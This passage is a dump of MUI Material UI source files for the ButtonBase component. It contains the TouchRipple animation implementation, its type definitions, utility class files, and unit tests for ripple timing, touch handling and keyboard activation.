container.querySelector('span > span');\n      expect(child).to.have.class(classes.childPulsate);\n    });\n\n    it('should start the ripple', () => {\n      const { container, setProps } = render(\n        <Ripple classes={classes} timeout={0} rippleX={0} rippleY={0} rippleSize={11} pulsate />,\n      );\n\n      setProps({ in: true });\n\n      const ripple = container.querySelector('span');\n      expect(ripple).to.have.class(classes.rippleVisible);\n      const child = container.querySelector('span > span');\n      expect(child).to.have.class(classes.childPulsate);\n    });\n\n    it('should stop the ripple', () => {\n      const { container, setProps } = render(\n        <Ripple classes={classes} timeout={0} rippleX={0} rippleY={0} rippleSize={11} pulsate />,\n      );\n\n      setProps({ in: true });\n      setProps({ in: false });\n      const child = container.querySelector('span > span');\n      expect(child).to.have.class(classes.childLeaving);\n    });\n  });\n\n  describe('pulsating and stopping 2', () => {\n    clock.withFakeTimers();\n\n    it('handleExit should trigger a timer', () => {\n      const handleExited = spy();\n      const { setProps } = render(\n        <Ripple\n          classes={classes}\n          timeout={550}\n          in\n          onExited={handleExited}\n          rippleX={0}\n          rippleY={0}\n          rippleSize={11}\n          pulsate\n        />,\n      );\n\n      setProps({ in: false });\n      clock.tick(549);\n      expect(handleExited.callCount).to.equal(0);\n      clock.tick(1);\n      expect(handleExited.callCount).to.equal(1);\n    });\n\n    it('unmount should defuse the handleExit timer', () => {\n      const handleExited = spy();\n      const { setProps, unmount } = render(\n        <Ripple\n          classes={classes}\n          timeout={550}\n          in\n          onExited={handleExited}\n          rippleX={0}\n          rippleY={0}\n          rippleSize={11}\n          pulsate\n        />,\n      );\n\n      setProps({ in: false });\n      unmount();\n      clock.tick(550);\n      expect(handleExited.callCount).to.equal(0);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/TouchRipple.d.ts",
    "content": "import * as React from 'react';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { TouchRippleClasses, TouchRippleClassKey } from './touchRippleClasses';\n\nexport { TouchRippleClassKey };\n\nexport interface StartActionOptions {\n  pulsate?: boolean | undefined;\n  center?: boolean | undefined;\n}\n\nexport interface TouchRippleActions {\n  start: (\n    event?: React.SyntheticEvent,\n    options?: StartActionOptions,\n    callback?: () => void,\n  ) => void;\n  pulsate: (event?: React.SyntheticEvent) => void;\n  stop: (event?: React.SyntheticEvent, callback?: () => void) => void;\n}\n\nexport type TouchRippleProps = StandardProps<React.HTMLAttributes<HTMLElement>> & {\n  center?: boolean | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TouchRippleClasses> | undefined;\n};\n\ndeclare const TouchRipple: React.ForwardRefRenderFunction<TouchRippleActions, TouchRippleProps>;\n\nexport default TouchRipple;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/TouchRipple.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { TransitionGroup } from 'react-transition-group';\nimport clsx from 'clsx';\nimport useTimeout from '@mui/utils/useTimeout';\nimport { keyframes, styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Ripple from './Ripple';\nimport touchRippleClasses from './touchRippleClasses';\n\nconst DURATION = 550;\nexport const DELAY_RIPPLE = 80;\n\nconst enterKeyframe = keyframes`\n  0% {\n    transform: scale(0);\n    opacity: 0.1;\n  }\n\n  100% {\n    transform: scale(1);\n    opacity: 0.3;\n  }\n`;\n\nconst exitKeyframe = keyframes`\n  0% {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 0;\n  }\n`;\n\nconst pulsateKeyframe = keyframes`\n  0% {\n    transform: scale(1);\n  }\n\n  50% {\n    transform: scale(0.92);\n  }\n\n  100% {\n    transform: scale(1);\n  }\n`;\n\nexport const TouchRippleRoot = styled('span', {\n  name: 'MuiTouchRipple',\n  slot: 'Root',\n})({\n  overflow: 'hidden',\n  pointerEvents: 'none',\n  position: 'absolute',\n  zIndex: 0,\n  top: 0,\n  right: 0,\n  bottom: 0,\n  left: 0,\n  borderRadius: 'inherit',\n});\n\n// This `styled()` function invokes keyframes. `styled-components` only supports keyframes\n// in string templates. Do not convert these styles in JS object as it will break.\nexport const TouchRippleRipple = styled(Ripple, {\n  name: 'MuiTouchRipple',\n  slot: 'Ripple',\n})`\n  opacity: 0;\n  position: absolute;\n\n  &.${touchRippleClasses.rippleVisible} {\n    opacity: 0.3;\n    transform: scale(1);\n    animation-name: ${enterKeyframe};\n    animation-duration: ${DURATION}ms;\n    animation-timing-function: ${({ theme }) => theme.transitions.easing.easeInOut};\n  }\n\n  &.${touchRippleClasses.ripplePulsate} {\n    animation-duration: ${({ theme }) => theme.transitions.duration.shorter}ms;\n  }\n\n  & .${touchRippleClasses.child} {\n    opacity: 1;\n    display: block;\n    width: 100%;\n    height: 100%;\n    border-radius: 50%;\n    background-color: currentColor;\n  }\n\n  & .${touchRippleClasses.childLeaving} {\n    opacity: 0;\n    animation-name: ${exitKeyframe};\n    animation-duration: ${DURATION}ms;\n    animation-timing-function: ${({ theme }) => theme.transitions.easing.easeInOut};\n  }\n\n  & .${touchRippleClasses.childPulsate} {\n    position: absolute;\n    /* @noflip */\n    left: 0px;\n    top: 0;\n    animation-name: ${pulsateKeyframe};\n    animation-duration: 2500ms;\n    animation-timing-function: ${({ theme }) => theme.transitions.easing.easeInOut};\n    animation-iteration-count: infinite;\n    animation-delay: 200ms;\n  }\n`;\n\n/**\n * @ignore - internal component.\n *\n * TODO v5: Make private\n */\nconst TouchRipple = React.forwardRef(function TouchRipple(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTouchRipple' });\n\n  const { center: centerProp = false, classes = {}, className, ...other } = props;\n  const [ripples, setRipples] = React.useState([]);\n  const nextKey = React.useRef(0);\n  const rippleCallback = React.useRef(null);\n\n  React.useEffect(() => {\n    if (rippleCallback.current) {\n      rippleCallback.current();\n      rippleCallback.current = null;\n    }\n  }, [ripples]);\n\n  // Used to filter out mouse emulated events on mobile.\n  const ignoringMouseDown = React.useRef(false);\n  // We use a timer in order to only show the ripples for touch \"click\" like events.\n  // We don't want to display the ripple for touch scroll events.\n  const startTimer = useTimeout();\n\n  // This is the hook called once the previous timeout is ready.\n  const startTimerCommit = React.useRef(null);\n  const container = React.useRef(null);\n\n  const startCommit = React.useCallback(\n    (params) => {\n      const { pulsate, rippleX, rippleY, rippleSize, cb } = params;\n\n      setRipples((oldRipples) => [\n        ...oldRipples,\n        <TouchRippleRipple\n          key={nextKey.current}\n          classes={{\n            ripple: clsx(classes.ripple, touchRippleClasses.ripple),\n            rippleVisible: clsx(classes.rippleVisible, touchRippleClasses.rippleVisible),\n            ripplePulsate: clsx(classes.ripplePulsate, touchRippleClasses.ripplePulsate),\n            child: clsx(classes.child, touchRippleClasses.child),\n            childLeaving: clsx(classes.childLeaving, touchRippleClasses.childLeaving),\n            childPulsate: clsx(classes.childPulsate, touchRippleClasses.childPulsate),\n          }}\n          timeout={DURATION}\n          pulsate={pulsate}\n          rippleX={rippleX}\n          rippleY={rippleY}\n          rippleSize={rippleSize}\n        />,\n      ]);\n      nextKey.current += 1;\n      rippleCallback.current = cb;\n    },\n    [classes],\n  );\n\n  const start = React.useCallback(\n    (event = {}, options = {}, cb = () => {}) => {\n      const {\n        pulsate = false,\n        center = centerProp || options.pulsate,\n        fakeElement = false, // For test purposes\n      } = options;\n\n      if (event?.type === 'mousedown' && ignoringMouseDown.current) {\n        ignoringMouseDown.current = false;\n        return;\n      }\n\n      if (event?.type === 'touchstart') {\n        ignoringMouseDown.current = true;\n      }\n\n      const element = fakeElement ? null : container.current;\n      const rect = element\n        ? element.getBoundingClientRect()\n        : {\n            width: 0,\n            height: 0,\n            left: 0,\n            top: 0,\n          };\n\n      // Get the size of the ripple\n      let rippleX;\n      let rippleY;\n      let rippleSize;\n\n      if (\n        center ||\n        event === undefined ||\n        (event.clientX === 0 && event.clientY === 0) ||\n        (!event.clientX && !event.touches)\n      ) {\n        rippleX = Math.round(rect.width / 2);\n        rippleY = Math.round(rect.height / 2);\n      } else {\n        const { clientX, clientY } =\n          event.touches && event.touches.length > 0 ? event.touches[0] : event;\n        rippleX = Math.round(clientX - rect.left);\n        rippleY = Math.round(clientY - rect.top);\n      }\n\n      if (center) {\n        rippleSize = Math.sqrt((2 * rect.width ** 2 + rect.height ** 2) / 3);\n\n        // For some reason the animation is broken on Mobile Chrome if the size is even.\n        if (rippleSize % 2 === 0) {\n          rippleSize += 1;\n        }\n      } else {\n        const sizeX =\n          Math.max(Math.abs((element ? element.clientWidth : 0) - rippleX), rippleX) * 2 + 2;\n        const sizeY =\n          Math.max(Math.abs((element ? element.clientHeight : 0) - rippleY), rippleY) * 2 + 2;\n        rippleSize = Math.sqrt(sizeX ** 2 + sizeY ** 2);\n      }\n\n      // Touch devices\n      if (event?.touches) {\n        // check that this isn't another touchstart due to multitouch\n        // otherwise we will only clear a single timer when unmounting while two\n        // are running\n        if (startTimerCommit.current === null) {\n          // Prepare the ripple effect.\n          startTimerCommit.current = () => {\n            startCommit({ pulsate, rippleX, rippleY, rippleSize, cb });\n          };\n          // Delay the execution of the ripple effect.\n          // We have to make a tradeoff with this delay value.\n          startTimer.start(DELAY_RIPPLE, () => {\n            if (startTimerCommit.current) {\n              startTimerCommit.current();\n              startTimerCommit.current = null;\n            }\n          });\n        }\n      } else {\n        startCommit({ pulsate, rippleX, rippleY, rippleSize, cb });\n      }\n    },\n    [centerProp, startCommit, startTimer],\n  );\n\n  const pulsate = React.useCallback(() => {\n    start({}, { pulsate: true });\n  }, [start]);\n\n  const stop = React.useCallback(\n    (event, cb) => {\n      startTimer.clear();\n\n      // The touch interaction occurs too quickly.\n      // We still want to show ripple effect.\n      if (event?.type === 'touchend' && startTimerCommit.current) {\n        startTimerCommit.current();\n        startTimerCommit.current = null;\n        startTimer.start(0, () => {\n          stop(event, cb);\n        });\n        return;\n      }\n\n      startTimerCommit.current = null;\n\n      setRipples((oldRipples) => {\n        if (oldRipples.length > 0) {\n          return oldRipples.slice(1);\n        }\n        return oldRipples;\n      });\n      rippleCallback.current = cb;\n    },\n    [startTimer],\n  );\n\n  React.useImperativeHandle(\n    ref,\n    () => ({\n      pulsate,\n      start,\n      stop,\n    }),\n    [pulsate, start, stop],\n  );\n\n  return (\n    <TouchRippleRoot\n      className={clsx(touchRippleClasses.root, classes.root, className)}\n      ref={container}\n      {...other}\n    >\n      <TransitionGroup component={null} exit>\n        {ripples}\n      </TransitionGroup>\n    </TouchRippleRoot>\n  );\n});\n\nTouchRipple.propTypes /* remove-proptypes */ = {\n  /**\n   * If `true`, the ripple starts at the center of the component\n   * rather than at the point of interaction.\n   */\n  center: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n};\n\nexport default TouchRipple;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/TouchRipple.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { act, createRenderer } from '@mui/internal-test-utils';\nimport TouchRipple, { DELAY_RIPPLE } from './TouchRipple';\nimport describeConformance from '../../test/describeConformance';\n\nconst cb = () => {};\n\ndescribe('<TouchRipple />', () => {\n  const { clock, render } = createRenderer();\n\n  /**\n   * @param {object} other props to spread to TouchRipple\n   */\n  function renderTouchRipple(other) {\n    const touchRippleRef = React.createRef();\n    const { container, unmount } = render(\n      <TouchRipple\n        ref={touchRippleRef}\n        classes={{\n          ripple: 'ripple',\n          rippleVisible: 'ripple-visible',\n          child: 'child',\n          childLeaving: 'child-leaving',\n        }}\n        {...other}\n      />,\n    );\n\n    return {\n      instance: touchRippleRef.current,\n      queryAllActiveRipples() {\n        return container.querySelectorAll('.ripple-visible .child:not(.child-leaving)');\n      },\n      queryAllStoppingRipples() {\n        return container.querySelectorAll('.ripple-visible .child-leaving');\n      },\n      queryRipple() {\n        return container.querySelector('.ripple');\n      },\n      unmount,\n    };\n  }\n\n  describeConformance(<TouchRipple />, () => ({\n    classes: {},\n    inheritComponent: 'span',\n    render,\n    refInstanceof: Object,\n    muiName: 'MuiTouchRipple',\n    skip: ['componentProp', 'refForwarding', 'themeStyleOverrides', 'themeVariants'],\n  }));\n\n  describe('prop: center', () => {\n    it('should compute the right ripple dimensions', () => {\n      const { instance, queryRipple } = renderTouchRipple({ center: true });\n\n      act(() => {\n        instance.start(\n          {},\n          {\n            fakeElement: true,\n          },\n          cb,\n        );\n      });\n\n      expect(queryRipple()).toHaveInlineStyle({ height: '1px' });\n      expect(queryRipple()).toHaveInlineStyle({ width: '1px' });\n    });\n  });\n\n  it('should create individual ripples', () => {\n    const { instance, queryAllActiveRipples, queryAllStoppingRipples } = renderTouchRipple();\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(0);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n    act(() => {\n      instance.start({ clientX: 0, clientY: 0 }, cb);\n    });\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(1);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n    act(() => {\n      instance.start({ clientX: 0, clientY: 0 }, cb);\n    });\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(2);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n    act(() => {\n      instance.start({ clientX: 0, clientY: 0 }, cb);\n    });\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(3);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n    act(() => {\n      instance.stop({ type: 'mouseup' });\n    });\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(2);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(1);\n\n    act(() => {\n      instance.stop({ type: 'mouseup' });\n    });\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(1);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(2);\n\n    act(() => {\n      instance.stop({ type: 'mouseup' });\n    });\n\n    expect(queryAllActiveRipples()).to.have.lengthOf(0);\n    expect(queryAllStoppingRipples()).to.have.lengthOf(3);\n  });\n\n  describe('creating unique ripples', () => {\n    it('should create a ripple', () => {\n      const { instance, queryAllActiveRipples, queryAllStoppingRipples } = renderTouchRipple();\n\n      act(() => {\n        instance.start(\n          {},\n          {\n            pulsate: true,\n            fakeElement: true,\n          },\n          cb,\n        );\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(1);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n    });\n\n    it('should ignore a mousedown event after a touchstart event', () => {\n      const { instance, queryAllActiveRipples, queryAllStoppingRipples } = renderTouchRipple();\n\n      act(() => {\n        instance.start({ type: 'touchstart' }, cb);\n        instance.start({ type: 'mousedown' }, cb);\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(1);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n    });\n\n    it('should create a specific ripple', () => {\n      const { instance, queryAllActiveRipples, queryAllStoppingRipples, queryRipple } =\n        renderTouchRipple({\n          center: true,\n        });\n      const clientX = 1;\n      const clientY = 1;\n\n      act(() => {\n        instance.start({ clientX, clientY }, { fakeElement: true }, cb);\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(1);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n      expect(queryRipple()).toHaveInlineStyle({ top: '-0.5px' });\n      expect(queryRipple()).toHaveInlineStyle({ left: '-0.5px' });\n    });\n  });\n\n  describe('mobile', () => {\n    clock.withFakeTimers();\n\n    it('should delay the display of the ripples', () => {\n      const { instance, queryAllActiveRipples, queryAllStoppingRipples } = renderTouchRipple();\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      act(() => {\n        instance.start({ touches: [], clientX: 0, clientY: 0 }, { fakeElement: true }, cb);\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      clock.tick(DELAY_RIPPLE);\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(1);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      clock.tick(DELAY_RIPPLE);\n      act(() => {\n        instance.stop({ type: 'touchend' }, cb);\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(1);\n    });\n\n    it('should trigger the ripple for short touch interactions', () => {\n      const { instance, queryAllActiveRipples, queryAllStoppingRipples } = renderTouchRipple();\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      act(() => {\n        instance.start({ touches: [], clientX: 0, clientY: 0 }, { fakeElement: true }, cb);\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      clock.tick(DELAY_RIPPLE / 2);\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      act(() => {\n        instance.stop({ type: 'touchend' }, cb);\n      });\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(1);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      clock.tick(1);\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(1);\n    });\n\n    it('should interrupt the ripple schedule', () => {\n      const { instance, queryAllActiveRipples, queryAllStoppingRipples } = renderTouchRipple();\n\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      instance.start({ touches: [], clientX: 0, clientY: 0 }, { fakeElement: true }, cb);\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      clock.tick(DELAY_RIPPLE / 2);\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n\n      instance.stop({ type: 'touchmove' });\n      clock.tick(DELAY_RIPPLE);\n      expect(queryAllActiveRipples()).to.have.lengthOf(0);\n      expect(queryAllStoppingRipples()).to.have.lengthOf(0);\n    });\n\n    it('should not leak on multi-touch', function multiTouchTest() {\n      const { instance, unmount } = renderTouchRipple();\n\n      instance.start({ type: 'touchstart', touches: [{}] }, () => {});\n      instance.start({ type: 'touchstart', touches: [{}] }, () => {});\n      unmount();\n\n      // expect this to run gracefully without\n      // \"react state update on an unmounted component\"\n      clock.runAll();\n    });\n\n    it('should handle empty event.touches', () => {\n      const { instance } = renderTouchRipple();\n\n      expect(() =>\n        instance.start({ type: 'touchstart', touches: [], clientX: 0, clientY: 0 }),\n      ).not.toErrorDev();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/buttonBaseClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ButtonBaseClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if keyboard focused. */\n  focusVisible: string;\n}\n\nexport type ButtonBaseClassKey = keyof ButtonBaseClasses;\n\nexport function getButtonBaseUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiButtonBase', slot);\n}\n\nconst buttonBaseClasses: ButtonBaseClasses = generateUtilityClasses('MuiButtonBase', [\n  'root',\n  'disabled',\n  'focusVisible',\n]);\n\nexport default buttonBaseClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/index.d.ts",
    "content": "export { default } from './ButtonBase';\nexport * from './ButtonBase';\n\nexport { default as buttonBaseClasses } from './buttonBaseClasses';\nexport * from './buttonBaseClasses';\n\nexport { default as touchRippleClasses } from './touchRippleClasses';\nexport * from './touchRippleClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/index.js",
    "content": "export { default } from './ButtonBase';\n\nexport { default as buttonBaseClasses } from './buttonBaseClasses';\nexport * from './buttonBaseClasses';\n\nexport { default as touchRippleClasses } from './touchRippleClasses';\nexport * from './touchRippleClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/touchRippleClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TouchRippleClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the internal `Ripple` components `ripple` class. */\n  ripple: string;\n  /** Styles applied to the internal `Ripple` components `rippleVisible` class. */\n  rippleVisible: string;\n  /** Styles applied to the internal `Ripple` components `ripplePulsate` class. */\n  ripplePulsate: string;\n  /** Styles applied to the internal `Ripple` components `child` class. */\n  child: string;\n  /** Styles applied to the internal `Ripple` components `childLeaving` class. */\n  childLeaving: string;\n  /** Styles applied to the internal `Ripple` components `childPulsate` class. */\n  childPulsate: string;\n}\n\nexport type TouchRippleClassKey = keyof TouchRippleClasses;\n\nexport function getTouchRippleUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTouchRipple', slot);\n}\n\nconst touchRippleClasses: TouchRippleClasses = generateUtilityClasses('MuiTouchRipple', [\n  'root',\n  'ripple',\n  'rippleVisible',\n  'ripplePulsate',\n  'child',\n  'childLeaving',\n  'childPulsate',\n]);\n\nexport default touchRippleClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/useButtonBase.test.tsx",
    "content": "import * as React from 'react';\nimport { act, createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport useButtonBase, { UseButtonBaseParameters } from './useButtonBase';\n\ninterface ButtonProps extends Omit<UseButtonBaseParameters, 'nativeButton' | 'disabled'> {\n  id?: string | undefined;\n  nativeButton?: boolean | undefined;\n  disabled?: boolean | undefined;\n  onClick?: React.MouseEventHandler<any> | undefined;\n  onKeyDown?: React.KeyboardEventHandler<any> | undefined;\n  onKeyUp?: React.KeyboardEventHandler<any> | undefined;\n}\n\nfunction useFixtureButtonBase(props: ButtonProps, internalNativeButtonValue: boolean) {\n  const {\n    id,\n    nativeButton: nativeButtonOverride,\n    nativeButtonProp,\n    internalNativeButton: internalNativeButtonProp = internalNativeButtonValue,\n    allowInferredHostMismatch,\n    disabled = false,\n    type,\n    hasFormAction,\n    tabIndex,\n    focusableWhenDisabled,\n    stopEventPropagation,\n    onBeforeKeyDown,\n    onBeforeKeyUp,\n    onClick,\n    onKeyDown,\n    onKeyUp,\n  } = props;\n  const nativeButton = nativeButtonOverride ?? nativeButtonProp ?? internalNativeButtonProp;\n  const { getButtonProps, rootRef } = useButtonBase({\n    nativeButton,\n    nativeButtonProp,\n    internalNativeButton: internalNativeButtonProp,\n    allowInferredHostMismatch,\n    disabled,\n    type,\n    hasFormAction,\n    tabIndex,\n    focusableWhenDisabled,\n    stopEventPropagation,\n    onBeforeKeyDown,\n    onBeforeKeyUp,\n  });\n\n  return {\n    id,\n    rootProps: getButtonProps({\n      onClick,\n      onKeyDown,\n      onKeyUp,\n    }),\n    rootRef,\n  };\n}\n\nfunction NonNativeButton(props: ButtonProps) {\n  const { id, rootProps, rootRef } = useFixtureButtonBase(props, false);\n\n  return (\n    <div data-testid={id ?? 'root'} ref={rootRef as React.Ref<HTMLDivElement>} {...rootProps} />\n  );\n}\n\nfunction NativeButton(props: ButtonProps) {\n  const { id, rootProps, rootRef } = useFixtureButtonBase(props, true);\n\n  return (\n    <button\n      data-testid={id ?? 'root'}\n      ref={rootRef as React.Ref<HTMLButtonElement>}\n      {...(rootProps as React.ButtonHTMLAttributes<HTMLButtonElement>)}\n    />\n  );\n}\n\ndescribe('useButtonBase', () => {\n  const { render } = createRenderer();\n\n  describe('onClick composition', () => {\n    it('calls onClick when not disabled', async () => {\n      const handleClick = vi.fn();\n      const { user } = render(<NonNativeButton onClick={handleClick} />);\n\n      await user.click(screen.getByTestId('root'));\n\n      expect(handleClick).toHaveBeenCalledTimes(1);\n    });\n\n    it('does not call onClick when disabled', async () => {\n      const handleClick = vi.fn();\n      const { user } = render(<NonNativeButton disabled onClick={handleClick} />);\n\n      await user.click(screen.getByTestId('root'));\n\n      expect(handleClick).not.toHaveBeenCalled();\n    });\n\n    it('stopEventPropagation stops propagation even when disabled', async () => {\n      const handleParentClick = vi.fn();\n      const handleClick = vi.fn();\n\n      const { user } = render(\n        <div onClick={handleParentClick}>\n          <NonNativeButton disabled onClick={handleClick} stopEventPropagation />\n        </div>,\n      );\n\n      await user.click(screen.getByTestId('root'));\n\n      expect(handleParentClick).not.toHaveBeenCalled();\n      expect(handleClick).not.toHaveBeenCalled();\n    });\n  });\n\n  describe('keyboard activation', () => {\n    describe('non-native button', () => {\n      it('runs onBeforeKeyDown before onKeyDown', async () => {\n        const handleBeforeKeyDown = vi.fn();\n        const handleKeyDown = vi.fn();\n\n        const { user } = render(\n          <NonNativeButton onBeforeKeyDown={handleBeforeKeyDown} onKeyDown={handleKeyDown} />,\n        );\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n\n        await user.keyboard('{Enter}');\n\n        expect(handleBeforeKeyDown).toHaveBeenCalledTimes(1);\n        expect(handleKeyDown).toHaveBeenCalledTimes(1);\n        expect(handleBeforeKeyDown.mock.invocationCallOrder[0]).toBeLessThan(\n          handleKeyDown.mock.invocationCallOrder[0],\n        );\n      });\n\n      it('Enter on keyDown activates click', async () => {\n        const handleClick = vi.fn();\n\n        const { user } = render(<NonNativeButton onClick={handleClick} />);\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n        await user.keyboard('{Enter}');\n\n        expect(handleClick).toHaveBeenCalledTimes(1);\n      });\n\n      it('Space on keyDown prevents default and keyUp activates click', () => {\n        const handleClick = vi.fn();\n        const handleKeyDown = vi.fn();\n\n        render(<NonNativeButton onClick={handleClick} onKeyDown={handleKeyDown} />);\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n\n        fireEvent.keyDown(el, { key: ' ' });\n        expect(handleKeyDown).toHaveBeenCalledTimes(1);\n        expect(handleKeyDown.mock.calls[0][0].defaultPrevented).toBe(true);\n        expect(handleClick).not.toHaveBeenCalled();\n\n        fireEvent.keyUp(el, { key: ' ' });\n        expect(handleClick).toHaveBeenCalledTimes(1);\n      });\n\n      it('does not fire when the event comes from a child element', () => {\n        const handleClick = vi.fn();\n\n        function TestWithChild(\n          props: UseButtonBaseParameters & {\n            onClick?: React.MouseEventHandler<any> | undefined;\n          },\n        ) {\n          const { onClick, ...params } = props;\n          const { getButtonProps, rootRef } = useButtonBase(params);\n\n          return (\n            <div\n              data-testid=\"root\"\n              ref={rootRef as React.Ref<HTMLDivElement>}\n              {...getButtonProps({ onClick })}\n            >\n              <button type=\"button\" data-testid=\"child\">\n                child\n              </button>\n            </div>\n          );\n        }\n\n        render(<TestWithChild disabled={false} nativeButton={false} onClick={handleClick} />);\n\n        const child = screen.getByTestId('child');\n        act(() => {\n          child.focus();\n        });\n\n        fireEvent.keyDown(child, { key: 'Enter' });\n        fireEvent.keyUp(child, { key: ' ' });\n\n        expect(handleClick).not.toHaveBeenCalled();\n      });\n\n      it('does not call key handlers or fire when disabled', async () => {\n        const handleClick = vi.fn();\n        const handleKeyDown = vi.fn();\n        const handleKeyUp = vi.fn();\n\n        const { user } = render(\n          <NonNativeButton\n            disabled\n            onClick={handleClick}\n            onKeyDown={handleKeyDown}\n            onKeyUp={handleKeyUp}\n          />,\n        );\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n\n        await user.keyboard('{Enter}');\n        await user.keyboard(' ');\n\n        expect(handleKeyDown).not.toHaveBeenCalled();\n        expect(handleKeyUp).not.toHaveBeenCalled();\n        expect(handleClick).not.toHaveBeenCalled();\n      });\n    });\n\n    describe('native button', () => {\n      it('does not synthesize clicks', () => {\n        const handleClick = vi.fn();\n\n        render(<NativeButton onClick={handleClick} />);\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n\n        fireEvent.keyDown(el, { key: 'Enter' });\n        fireEvent.keyUp(el, { key: ' ' });\n\n        expect(handleClick).not.toHaveBeenCalled();\n      });\n\n      it('resolves keyboard behavior from the resolved host', () => {\n        const handleClick = vi.fn();\n        const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n        render(<NativeButton nativeButton={false} onClick={handleClick} />);\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n\n        fireEvent.keyDown(el, { key: 'Enter' });\n\n        expect(handleClick).not.toHaveBeenCalled();\n        errorSpy.mockRestore();\n      });\n\n      it('does not call key handlers for disabled focusable buttons', () => {\n        const handleKeyDown = vi.fn();\n        const handleKeyUp = vi.fn();\n\n        render(\n          <NativeButton\n            disabled\n            focusableWhenDisabled\n            onKeyDown={handleKeyDown}\n            onKeyUp={handleKeyUp}\n          />,\n        );\n\n        const el = screen.getByTestId('root');\n        act(() => {\n          el.focus();\n        });\n\n        fireEvent.keyDown(el, { key: 'Enter' });\n        fireEvent.keyUp(el, { key: ' ' });\n\n        expect(handleKeyDown).not.toHaveBeenCalled();\n        expect(handleKeyUp).not.toHaveBeenCalled();\n      });\n    });\n  });\n\n  describe('param: focusableWhenDisabled', () => {\n    it('allows disabled native buttons to receive focus', async () => {\n      const { user } = render(<NativeButton disabled focusableWhenDisabled />);\n\n      const button = screen.getByRole('button');\n\n      expect(button).not.toHaveFocus();\n      await user.tab();\n      expect(button).toHaveFocus();\n    });\n\n    it('only calls focus and blur for disabled focusable non-native buttons', async () => {\n      const handleClick = vi.fn();\n      const handleKeyDown = vi.fn();\n      const handleKeyUp = 